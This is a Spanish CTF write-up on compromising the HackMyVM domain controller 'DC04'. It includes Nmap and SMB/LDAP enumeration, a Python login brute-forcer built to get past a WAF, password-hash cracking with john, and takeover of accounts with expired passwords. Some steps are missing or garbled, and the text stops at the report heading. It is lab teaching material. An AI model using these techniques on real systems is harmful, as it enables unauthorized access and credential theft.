

Write-Up/Explicación paso a paso de Hackeo y Rooteo a Máquina Virtual DC04– Plataforma HackMyVm – Dificultad: Difícil



DISCLAIMER (Autorización y alcance):

1. **Ámbito del informe:**

Este informe describe exclusivamente las actividades de evaluación de seguridad realizadas sobre la **máquina virtual “DC04”** alojada en la plataforma **HackMyVm** en un entorno de laboratorio/CTF controlado. Todas las pruebas se realizaron con un alcance limitado al sistema indicado y bajo las condiciones definidas por la plataforma.

2. **Propósito:**

El propósito del ejercicio es **educativo** y de investigación: identificar vectores de ataque, demostrar posibles impactos y proponer medidas de mitigación. No pretende explotar vulnerabilidades en sistemas ajenos ni causar daño.

3. **Autorización:**

Las técnicas y pruebas documentadas aquí deben ser aplicadas **únicamente** en sistemas para los que se disponga de **autorización explícita y por escrito** del propietario. La reproducción de estas pruebas en equipos o redes que no te pertenezcan, o sin permiso, es **ilegal** y **poco ética**.

4. Limitaciones y responsabilidad:

Ni el autor ni la institución/entidad que lo respalde asumen responsabilidad por el uso indebido del contenido de este informe. Cualquier acción realizada fuera del alcance de autorización corre por cuenta exclusiva del actor que la ejecute.

ESCANEEO INICIAL

Comenzamos realizando un escaneo para comprobar los puertos que tiene abiertos la máquina objetivo

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]
# nmap -sS -p- --open -vvv -n -Pn -oN allPorts -T4 192.168.1.52
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:27 +0000
Initiating ARP Ping Scan at 08:27
Scanning 192.168.1.52 [1 port]
Completed ARP Ping Scan at 08:27, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 08:27
Scanning 192.168.1.52 [65535 ports]
Discovered open port 80/tcp on 192.168.1.52
Discovered open port 53/tcp on 192.168.1.52
Discovered open port 135/tcp on 192.168.1.52
Discovered open port 445/tcp on 192.168.1.52
Discovered open port 139/tcp on 192.168.1.52
Discovered open port 49667/tcp on 192.168.1.52
Discovered open port 49694/tcp on 192.168.1.52
Discovered open port 49675/tcp on 192.168.1.52
Discovered open port 593/tcp on 192.168.1.52
SYN Stealth Scan Timing: About 23.14% done; ETC: 08:29 (0:01:43 remaining)
Discovered open port 389/tcp on 192.168.1.52
Discovered open port 636/tcp on 192.168.1.52
Discovered open port 3268/tcp on 192.168.1.52
SYN Stealth Scan Timing: About 58.15% done; ETC: 08:29 (0:00:44 remaining)
Discovered open port 88/tcp on 192.168.1.52
Discovered open port 49664/tcp on 192.168.1.52
Discovered open port 5985/tcp on 192.168.1.52
Discovered open port 464/tcp on 192.168.1.52
Discovered open port 9389/tcp on 192.168.1.52
Discovered open port 3269/tcp on 192.168.1.52
```

Al observar que son una cantidad considerable, realizamos un tratamiento del output con expresión regular, recorte del primer elemento y unión de los diferentes puertos en la misma línea separados por comas

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]
# nmap -sS -p- --open -vvv -n -Pn -oN allPorts -T4 192.168.1.52 | grep -E '^[0-9]' | cut -d '/' -f1 | paste -sd ','
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49675,49694,49720
```

ESCANEEO EXHAUSTIVO

Realizamos un segundo escaneo exhaustivo para comprobar los servicios y las versiones que corren por los puertos descubiertos como abiertos. Nos encontramos ante un DOMAIN CONTROLLER, ya que encontramos puertos típicos abiertos como por ejemplo 53 DNS, 88 Kerberos, 445 SMB, 389 LDAP...entre otros. También observamos que tiene abierto un servicio web, en concreto un servidor APACHE.

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# nmap -sVC -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49675,49694,49720 -n -Pn -oN targeted 192.168.1.52
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:33 +0000
Nmap scan report for 192.168.1.52
Host is up (0.00039s latency).

```

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
80/tcp	open	http	Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12			
_http-title: Did not follow redirect to http://soupedecode.local			
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2026-05-02 17:33:30Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds?	
464/tcp	open	kpasswd5?	
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
3269/tcp	open	tcpwrapped	
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-title: Not Found			
_http-server-header: Microsoft-HTTPAPI/2.0			
9389/tcp	open	mc-nmf	.NET Message Framing
49664/tcp	open	msrpc	Microsoft Windows RPC
49667/tcp	open	msrpc	Microsoft Windows RPC
49675/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
49694/tcp	open	msrpc	Microsoft Windows RPC
49720/tcp	open	msrpc	Microsoft Windows RPC

```
MAC Address: 08:00:27:25:DB:A8 (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

ENUMERACIÓN

Realizamos una enumeración por smb con crackmapexec para encontrar el nombre del equipo y del dominio, añadimos ambos al archivo /etc/hosts para que puedan resolver esos nombres contra la ip objetivo

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# crackmapexec smb 192.168.1.52
SMB 192.168.1.52 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
```

```
GNU nano 8.7.1
127.0.0.1 localhost
27.0.1.1 kali.Home kali

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.1.52 DC01.SOUPEDECODE.LOCAL SOUPEDECODE.LOCAL
```

Empezamos enumerando los recursos compartidos mediante una null session, no resulta efectivo ni siquiera proporcionando guest como nombre de usuario

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# crackmapexec smb 192.168.1.52 -u '' -p '' --shares
SMB 192.168.1.52 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 192.168.1.52 445 DC01 [-] SOUPEDECODE.LOCAL\ : STATUS_ACCESS_DENIED
SMB 192.168.1.52 445 DC01 [-] Error enumerating shares: Error occurs while reading from remote(104)
```

Intentamos enumerar por RPC, el cual utiliza SMB como transporte, elementos del dominio, como usuarios, grupos, entre otros, sin éxito, no tenemos acceso por esta vía.

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# rpcclient -U "" -N 192.168.1.52
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
```

Aunque es muy improbable que podamos realizar consultas LDAP sin proporcionar credenciales, es una de las técnicas que debemos intentar a la hora de recopilar información del dominio. En este caso no hemos podido recopilar nada sin proporcionar credenciales

```
(root@kali)-[/home/phoenix/Escritorio/dc04]
# ldapsearch -x -H ldap://192.168.1.52 -b "DC=SOUPEDECODE,DC=LOCAL"
# extended LDIF
#
# LDAPv3
# base <DC=SOUPEDECODE,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
```

Otra de las vías a agotar a la hora de por ejemplo enumerar usuarios es el protocolo Kerberos, podemos realizar un ataque de fuerza bruta y enumerar posibles usuarios del dominio. En este caso no obtenemos resultados interesantes. Por lo que descartamos esa vía

```
(root@kali)-[/home/phoenix/Escritorio/dc04]
# kerbrute userenum --dc 192.168.1.52 -d SOUPEDECODE.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
```

ENUMERACION WEB

Ya que el DC cuenta con un servidor web, es posible que la forma de poder acceder a datos del dominio, como conseguir un nombre de usuario, credencial o cualquier cosa que nos aporte información venga de aquí. En primer lugar recopilamos información del servidor web, observamos versión del mismo, versión de PHP, de OPENSSL y descartamos cualquier exploit derivado de una versión desactualizada. Ahora nos fijamos en que se está aplicando un redirect de manera continua, por lo que no podemos visualizar el contenido de la página, ni tan siquiera el código fuente de la página.

```
(root@kali)-[/home/phoenix]
# whatweb http://soupedecode.local
http://soupedecode.local [302 Found] Apache[2.4.58], Country[RESERVED][22], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[192.168.1.52], OpenSSL[3.1.3], PHP[8.2.12], RedirectLocation[http://soupedecode.local], X-Powered-By[PHP/8.2.12]
http://soupedecode.local [302 Found] Apache[2.4.58], Country[RESERVED][22], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[192.168.1.52], OpenSSL[3.1.3], PHP[8.2.12], RedirectLocation[http://soupedecode.local], X-Powered-By[PHP/8.2.12]
```

Como no podemos obtener ningún dato, procedemos a realizar un fuzzing para descubrir posibles directorios y recursos de los que poder extraer algún tipo de información.

The page isn't redirecting properly

Firefox has detected that the server is redirecting the request for this address in a way that will never complete.

- This problem can sometimes be caused by disabling or refusing to accept cookies.

Try Again

```
(root@kali)-[/home/phoenixx]
# gobuster dir -u http://soupedecode.local -w /usr/share/seclists/Discovery/Web-Content/common.txt -b 404 -x php,html,txt
=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://soupedecode.local
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: txt,php,html
[+] Timeout: 10s
* This problem can sometimes be caused by disabling or refusing to accept cookies.
```

De entre las respuestas 200 que obtenemos (es interesante también revisar posible fuzzing a los directorios de los que se obtiene un 403, aunque en este caso no se obtiene ningún recurso accesible), observamos que server-status y server-info tienen un size realmente elevado. Por lo que sería interesante acceder a estos recursos y ver qué contienen.

```
server-status (Status: 200) [Size: 8263]
server-info (Status: 200) [Size: 102074]
examples (Status: 503) [Size: 408]
webalizer (Status: 403) [Size: 308]
```

Server-status tiene un contenido atípico, por lo que es bastante raro y se pueden ver solicitudes a un servidor interno correindo por localhost:8080, se prueba a realizar peticiones para ver si aparecen reflejadas en los logs que hay en este archivo, para ver si se puede realizar un log poisoning a través de un LFI, pero no hay éxito.

Apache Server Status for soupedecode.local (via 127.0.0.1)

Server Version: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Server MPM: WinNT
Apache Lounge VS17 Server built: Oct 18 2023 13:03:18

Current Time: Saturday, 02-May-2026 10:46:25 Pacific Daylight Time
Restart Time: Saturday, 02-May-2026 10:25:28 Pacific Daylight Time
Parent Server Config. Generation: 1
Parent Server MPM Generation: 0
Server uptime: 20 minutes 56 seconds
Server load: -1.00 -1.00 -1.00
Total accesses: 19078 - Total Traffic: 5.6 MB - Total Duration: 38280
15.2 requests/sec - 4702 B/second - 309 B/request - 2.0065 ms/request
1 requests currently being processed, 0 workers gracefully restarting, 149 idle workers

W

Scoreboard Key:
"_" Waiting for Connection, "s" Starting up, "R" Reading Request,
"w" Sending Reply, "k" Keepalive (read), "b" DNS Lookup,
"c" Closing connection, "L" Logging, "G" Gracefully finishing,
"r" Idle cleanup of worker, "." Open slot with no current process

Por otra parte revisando el archivo server-info, encontramos un posible subdominio, el cual añadimos al /etc/hosts y accedemos a él.

The top part of the image shows a web browser window with the address bar displaying 'http://soupedecode.local/server-info'. The page title is 'Apache Server Information'. Below the title, there are links for 'Subpages' (Configuration Files, Server Settings, Module List, Active Hooks, Available Providers) and 'Sections' (Loaded Modules, Server Settings, Startup Hooks, Request Hooks, Other Hooks, Providers). The 'Loaded Modules' section lists various modules like 'core.c', 'httpd.c', 'mod_access_compat.c', etc. Below this, there is a code block showing configuration details for the 'DocumentRoot' and 'ServerName'.

```
55: DocumentRoot "C:/xampp/htdocs/heartbeat"
56: ServerName heartbeat.soupedecode.local
57: <Directory "C:/xampp/htdocs/heartbeat">
58:     AllowOverride All
   : </Directory>
   : </VirtualHost>
```

The bottom part of the image shows a terminal window with the title 'GNU nano 8.7.1 /etc/hosts'. The terminal displays the contents of the /etc/hosts file, which includes entries for '127.0.0.1 localhost', '27.0.1.1 kali.Home kali', and a line for '192.168.1.52 DC01.SOUPEDECODE.LOCAL SOUPEDECODE.LOCAL soupedecode.local heartbeat.soupedecode.local'.

Al acceder nos encontramos ante un panel de login, tras realizar las pertinentes comprobaciones en cuanto a contraseñas por defecto débiles no obtenemos acceso. Por lo que nos disponemos a capturar la petición con Burp Suite para ver cómo se tramitan los datos.

The image shows a web browser window with the address bar displaying 'http://heartbeat.soupedecode.local/login.php'. The page has a light gray background and a central white box with the title 'Login'. Inside the box, there are two input fields: 'Username' and 'Password'. Below these fields is a blue button labeled 'Login'.

Al capturar la petición nos damos cuenta de que los datos se tramitan por post a una dirección /login.php. Además se tramitan dos variables, username y password. Se prueban diferentes payloads para descartar SQLI, XXE, XSS. Lo que se observa es que siempre se obtiene un código de estado 200, aunque también se observa que si la contraseña no es válida aparece un texto que nos dice “Invalid Password or Username”. Se opta por un ataque de fuerza bruta con un script propio en python, para poder filtrar las respuestas en las que ese texto no aparezca.

AVISO: Esta máquina cuenta con un WAF por lo que hay que ir con cuidado para no saturar el servicio, recomiendo hacer un snapshot en este punto para poder recuperar la máquina y continuar con su resolución

1 POST /login.php HTTP/1.1	1 HTTP/1.1 200 OK
2 Host: heartbeat.soupedecode.local	2 Date: Sun, 03 May 2026 15:20:37 GMT
3 Content-Length: 29	3 Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
4 Cache-Control: max-age=0	4 X-Powered-By: PHP/8.2.12
5 Accept-Language: es-ES,es;q=0.9	5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Origin: http://heartbeat.soupedecode.local	6 Cache-Control: no-store, no-cache, must-revalidate
7 Content-Type: application/x-www-form-urlencoded	7 Pragma: no-cache
8 Upgrade-Insecure-Requests: 1	8 Content-Length: 1908
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36	9 Keep-Alive: timeout=5, max=100
10 Accept:	10 Connection: Keep-Alive
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7	11 Content-Type: text/html; charset=UTF-8
11 Referer: http://heartbeat.soupedecode.local/login.php	12
12 Accept-Encoding: gzip, deflate, br	13 <!DOCTYPE html>
13 Cookie: PHPSESSID=ttgv1j7tBrkoq7choaf340vbm	14 <html lang="en">
14 Connection: keep-alive	15 <head>
15	16 <meta charset="UTF-8">
16 username=admin&password=lesool	17 <meta name="viewport" content="width=device-width, initial-scale=1.0">
	18 <title>
	Login

El script realiza lo siguiente, dada una URL (la correspondiente), unos headers (los correspondientes) y una cookie (la correspondiente) obtenidos despues de capturar la petición con BurpSuite, creamos una función que lea las contraseña de un archivo (recomiendo diccionarios dentro de la categoría Passwords de Seclists) y por cada contraseña realice una petición donde se tramitará como nombre de usuario admin y como password cada contraeña que se vaya leyendo.

El punto importante del script viene aquí: de cada una de las respuestas obtenidas, leemos el texto de la respuesta, en el caso de que la palabra “Invalid” no aparezca en el texto podremos considerar esa línea del archivo como una contraseña válida, aunque también es recomendable inspeccionar el código de estado, ya que el WAF puede arrojarnos falsos positivos.

```
bruter.py > chill_brute_force_waf_evasion
1 import requests
2 import time
3
4 URL = "http://heartbeat.soupedecode.local/login.php"
5 headers = {
6     "Host": "heartbeat.soupedecode.local",
7     "Content-Length": "31",
8     "Cache-Control": "max-age=0",
9     "Accept-Language": "es-ES,es;q=0.9",
10    "Origin": "http://heartbeat.soupedecode.local",
11    "Content-Type": "application/x-www-form-urlencoded",
12    "Upgrade-Insecure-Requests": "1",
13    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
14    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
15    "Referer": "http://heartbeat.soupedecode.local/login.php",
16    "Accept-Encoding": "gzip, deflate, br"
17 }
18
19 cookie = {
20     "PHPSESSID" : "hfabbhuom109hbeeadd3eqeohi"
21 }
22
23 def chill_brute_force_waf_evasion():
24     with open("dict.txt", "r", encoding="latin-1") as f:
25         for line in f:
26             password = line.strip()
27             data = {
28                 "username": "admin",
29                 "password": {password}
30             }
31
32             r = requests.post(URL, headers=headers, cookies=cookie, data=data)
33
34             if "Invalid" not in r.text:
35                 print(f"[+] Posible contraseña -> {password} con código de estado de respuesta: {r.status_code}")
36                 time.sleep(1)
37
38 chill_brute_force_waf_evasion()
39
```

Después de la ejecución del script, obtenemos la contraseña “nimda” para el usuario admin, por lo que procedemos a logearnos.

la nuestra.

Network Share Heartbeat

Connect

35	33.731139728	192.168.1.52	192.168.1.46	TCP	66 50090 → 445 [SYN, ECE, CWR] Seq=0 Win=64240 Len=0 MS
36	33.731181449	192.168.1.46	192.168.1.52	TCP	54 445 → 50090 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37	34.233770863	192.168.1.52	192.168.1.46	TCP	66 [TCP Port numbers reused] 50090 → 445 [SYN] Seq=0 Wi
38	34.233805082	192.168.1.46	192.168.1.52	TCP	54 445 → 50090 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
39	34.736626652	192.168.1.52	192.168.1.46	TCP	66 [TCP Port numbers reused] 50090 → 445 [SYN] Seq=0 Wi
40	34.736664608	192.168.1.46	192.168.1.52	TCP	54 445 → 50090 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

[illegible]

Si guardamos este hash y lo crackeamos con john o con hashcat obtendremos la contraseña en texto claro del usuario webservice.

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]
# nano hash

(root@kali)-[/home/phoenixx/Escritorio/dc04]
# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jordan23          (websvc)
1g 0:00:00:00 DONE (2026-05-03 07:25) 50.00g/s 102400p/s 102400c/s 102400C/s 123456..lovers1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

Si validamos la contraseña del usuario nos arrojará un mensaje diciéndonos que la contraseña está expirada. Podemos cambiar la contraseña del usuario proporcionando utilizando netexec con el módulo change-password. También validamos que este usuario no se puede conectar de manera remota al equipo.

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]
# netexec smb 192.168.1.52 -u websvc -p 'jordan23' -M change-password -o NEWPASS='Password123!' --format=netntlmv2
SMB 192.168.1.52 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 192.168.1.52 445 DC01 [-] SOUPEDECODE.LOCAL/websvc:jordan23 STATUS_PASSWORD_EXPIRED
CHANGE-P... 192.168.1.52 445 DC01 [+] Successfully changed password for websvc
```

También podemos utilizar la smbpasswd.

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]
# smbpasswd -r 192.168.1.52 -U websvc
```

Ahora que tenemos un usuario y contraseña válidos, sería interesante revisar ciertos aspectos para encontrar vulnerabilidades: por ejemplo obtener las cuentas que tienen un SPN asociado para poder realizar un kerberoast attack, pero no se encuentra ninguno en esta máquina.

Validamos los recursos compartidos de la máquina a los que tiene acceso este usuario, vemos que puede acceder a la unidad C. Si accedemos al directorio [C:\Users](#), podremos listar usuarios que están registrados en el dominio. Encontramos más usuarios. No se observan elementos interesantes en los recursos compartidos a los que podemos acceder con el usuario actual.

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]
# smbclient -U 'websvc%Password123!' //192.168.1.52/C
Try "help" to get a list of possible commands.
smb: \> ls
$WinREAgent          DH          0   Sat Jun 15 19:19:51 2024
Documents and Settings DHSn        0   Sun Jun 16 02:51:08 2024
DumpStack.log.tmp    AHS        12288 Sun May 3 15:15:45 2026
pagefile.sys         AHS 1476395008 Sun May 3 15:15:45 2026
PerfLogs             D          0   Sat May 8 08:15:05 2021
Program Files        DR          0   Sat Jun 15 17:54:31 2024
Program Files (x86)  D          0   Sat May 8 09:34:13 2021
ProgramData          DHn         0   Tue Nov 5 21:44:31 2024
Recovery             DHSn        0   Sun Jun 16 02:51:08 2024
System Volume Information DHS         0   Sat Jun 15 19:02:21 2024
Users                DR          0   Thu Nov 7 01:55:53 2024
Windows              D          0   Sat May 2 07:20:34 2026
xampp                D          0   Tue Nov 5 22:56:28 2024

12942591 blocks of size 4096. 10628295 blocks available
smb: \> cd Users
smb: \Users> ls
.                DR          0   Thu Nov 7 01:55:53 2024
..              DHS         0   Tue Nov 5 23:30:29 2024
Administrator    D          0   Sat Jun 15 19:56:40 2024
All Users        DHSn        0   Sat May 8 08:26:16 2021
Default          DHR         0   Sun Jun 16 02:51:08 2024
Default User     DHSn        0   Sat May 8 08:26:16 2021
desktop.ini      AHS         174   Sat May 8 08:14:03 2021
fjudy998         D          0   Thu Nov 7 01:55:33 2024
ojake987         D          0   Thu Nov 7 01:55:16 2024
Public           DR          0   Sat Jun 15 17:54:32 2024
rtina979         D          0   Thu Nov 7 01:54:39 2024
websvc           D          0   Thu Nov 7 01:44:11 2024
xursula991       D          0   Thu Nov 7 01:55:28 2024
```

Si queremos obtener todos los usuarios del dominio podemos utilizar varias técnicas. Por RPC, con la instrucción `enumdomusers`, con `netexec/crackmapexec` haciendo peticiones al protocolo `ldap`, en este caso con la flag `users` y también realizando queries LDAP de manera manual podemos obtener la misma información. Obtenemos todos los usuarios y probamos a realizar un `asreproast` attack por si hubiera alguno que no tiene el requisito de `preautenticación` activado, no encontramos ninguno.

Lo que si encontramos es una descripción en la que aparece una contraseña por defecto para el usuario rtina979

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]
# rpcclient -U 'websvc%Password123!' //192.168.1.52 -c "querydispinfo" | grep -iE "password"
index: 0x131f RID: 0x7fd acb: 0x00020010 Account: rtina979 Name: Reed Tina Desc: Default Password Z-l3JhcV#7Q-1#M
```

```
(root@kali)~# netexec ldap 192.168.1.52 -u websvc -p "Password123!" --users | grep -iE "Password"
```

LDAP	192.168.1.52	389	DC01	[+] SOUPEDECODE.LOCAL\websvc:Password123!
LDAP	192.168.1.52	389	DC01	rtina979 2024-11-07 01:53:17 1 Default Password Z-l3JhcV#7Q-1#M

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# ldapsearch -x -H ldap://192.168.1.52 -b "DC=SOUPEDCODE,DC=LOCAL" -D "websvc@SOUPEDCODE.LOCAL" -w "(6(objectClass=user)(objectCategory=person))" sAMAccountName description
```

Al validar estas credenciales, obtenemos que la contraseña ha expirado por lo que aplicamos el método anterior para establecer una nueva contraseña.

```
(root@kali) ~ - [/home/phenixx/Escritorio/dc04]
└─ netexec smb 192.168.1.52 smb -u 'rtina979' -p 'Z'-l3JhcV#7Q-1#M'
SMB 192.168.1.52 445 DC01 [+] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 192.168.1.52 445 DC01 [-] SOUPEDECODE.LOCAL\rtina979:Z-l3JhcV#7Q-1#M STATUS_PASSWORD_EXPIRED
Running nxc against 2 targets 100% 0:00:00

(root@kali) ~ - [/home/phenixx/Escritorio/dc04]
└─ netexec smb 192.168.1.52 smb -u 'rtina979' -p 'Z'-l3JhcV#7Q-1#M' -M change-password -o NEWPASS='Password1!'
SMB 192.168.1.52 445 DC01 [+] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 192.168.1.52 445 DC01 [-] SOUPEDECODE.LOCAL\rtina979:Z-l3JhcV#7Q-1#M STATUS_PASSWORD_EXPIRED
CHANGE-P... 192.168.1.52 445 DC01 [+] Successfully changed password for rtina979
Running nxc against 2 targets 100% 0:00:00
```

Validamos los permisos de acceso a recursos compartidos, también validamos que este usuario no se puede conectar de manera remota al equipo.

```
(root@kali)~/home/phoenixx/Escritorio/dc04] netexec smb 192.168.1.52 smb -u "rtina979" -p "Password!!" --shares
```

SMB	192.168.1.52	445	DC01	[*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1=None)
SMB	192.168.1.52	445	DC01	[*] SOUPEDECODE.LOCAL\rtina979:Password!
SMB	192.168.1.52	445	DC01	[*] Enumerated shares
SMB	192.168.1.52	445	DC01	Share Permissions Remark
SMB	192.168.1.52	445	DC01	-----
SMB	192.168.1.52	445	DC01	ADMIN\$ Remote Admin
SMB	192.168.1.52	445	DC01	C READ Default share
SMB	192.168.1.52	445	DC01	C\$ Remote IPC
SMB	192.168.1.52	445	DC01	IPC\$ Logon server share
SMB	192.168.1.52	445	DC01	NETLOGON Logon server share
SMB	192.168.1.52	445	DC01	SYSVOL Logon server share

Running nxc against 2 targets 100% 0:00:00

Dentro de la carpeta de rtina en el directorio Documents nos encontramos un archivo Report.rar. Si nos lo descargamos y lo intentamos descomprimir nos daremos cuenta de que está protegido con contraseña.

```
smb: \Users\rtina979\Documents\> ls
.                DR            0   Thu Nov  7 22:35:52 2024
..               D            0   Thu Nov  7 01:54:39 2024
My Music         DHSrn        0   Thu Nov  7 01:54:39 2024
My Pictures      DHSrn        0   Thu Nov  7 01:54:39 2024
My Videos       DHSrn        0   Thu Nov  7 01:54:39 2024
Report.rar       A       712046 Thu Nov  7 13:35:49 2024

12942591 blocks of size 4096. 10809222 blocks available
```

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# unrar e Report.rar

UNRAR 7.21 beta 1 freeware      Copyright (c) 1993-2026 Alexander Roshal

Enter password (will not be echoed) for Report.rar:

Program aborted
```

Si extraemos el hash de contraseña con la herramienta rar2john y luego ese hash lo crackeamos con john, obtendremos la contraseña en texto claro y podremos descomprimir el archivo.

```
Program aborted
(root@kali)-[/home/phenixx/Escritorio/dc04]
# rar2john Report.rar
Report.rar:$rar5$16$7b74f4c32feb807c16edc906c283e524$15$872f8d1a914bd1503dac110c7bbb938a$8$3e15430028d503b5

(root@kali)-[/home/phenixx/Escritorio/dc04]
# rar2john Report.rar > hash_rar
```

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# john --wordlist=/usr/share/wordlists/rockyou.txt hash_rar

Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PASSWORD123 (Report.rar)
lg 0:00:00:34 DONE (2026-05-03 08:11) 0.02941g/s 1513p/s 1513c/s 1513C/s ang123..2pac4ever
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# unrar e Report.rar

UNRAR 7.21 beta 1 freeware      Copyright (c) 1993-2026 Alexander Roshal

Enter password (will not be echoed) for Report.rar:

Extracting from Report.rar

Extracting Pentest Report.htm          OK
Extracting m2-unbound-source-serif-pro.css OK
Extracting main-branding-base.W9J-2zkF03j8TkriAGn1Tg.12.css OK
Extracting dart.min.js                 OK
Extracting google-analytics_analytics.js OK
Extracting highlight.min.js            OK
Extracting main-base.bundle.IcW7tD43-xaHoBj2_P6wLQ.12.js OK
Extracting main-common-async.bundle.SkTeOM8g4JVEInYAgrgW9Q.12.js OK
Extracting main-notes.bundle.qVLVB-ghGjYQMo6npDHNjw.12.js OK
Extracting main-posters.bundle.JMIo8YhZ0NhbVObiML4nWQ.12.js OK
All OK
```

Lo que obtenemos es lo que parece ser una serie de archivo de un proyecto web, por lo que para leer el recurso htm, tendremos que montar un servidor http, podemos hacerlo con python. Es recomendable cambiar el nombre del recurso Pentest Report.htm y dejarlo sin espacios para poder cargarlo de manera cómoda.

```
(root@kali)-[/home/phoenix/Escritorio/dc04]
# mv 'Pentest Report.htm' Pentest.htm

(root@kali)-[/home/phoenix/Escritorio/dc04]
# ls
allPorts      GodPotato-NET4.exe      m2-unbound-source-serif-pro.css      mimi.exe      Report.rar
allUsers.txt  google-analytics_analytics.js  main-base.bundle.IcW7tD43-xaHoBj2_P6wLQ.12.js  mimikatz.exe  targeted
BloodHound-linux-x64  hash      main-branding-base.W9J-2zkF03j8TkriAGn1Tg.12.css  Pentest.htm  users.txt
bruter.py     hash_rar      main-common-async.bundle.SkTeOM8g4JVEInYAgrgW9Q.12.js  PowerView.ps1
dart.min.js   highlight.min.js  main-notes.bundle.qVLVB-ghGjYQMo6npDHNjw.12.js  PrintSpoofer32.exe
dict.txt      Invoke-Mimikatz.ps1  main-posters.bundle.JMIo8YhZ0NhV0biML4nWQ.12.js  PrintSpoofer64.exe
```



Penetration Test Report

Executive Summary

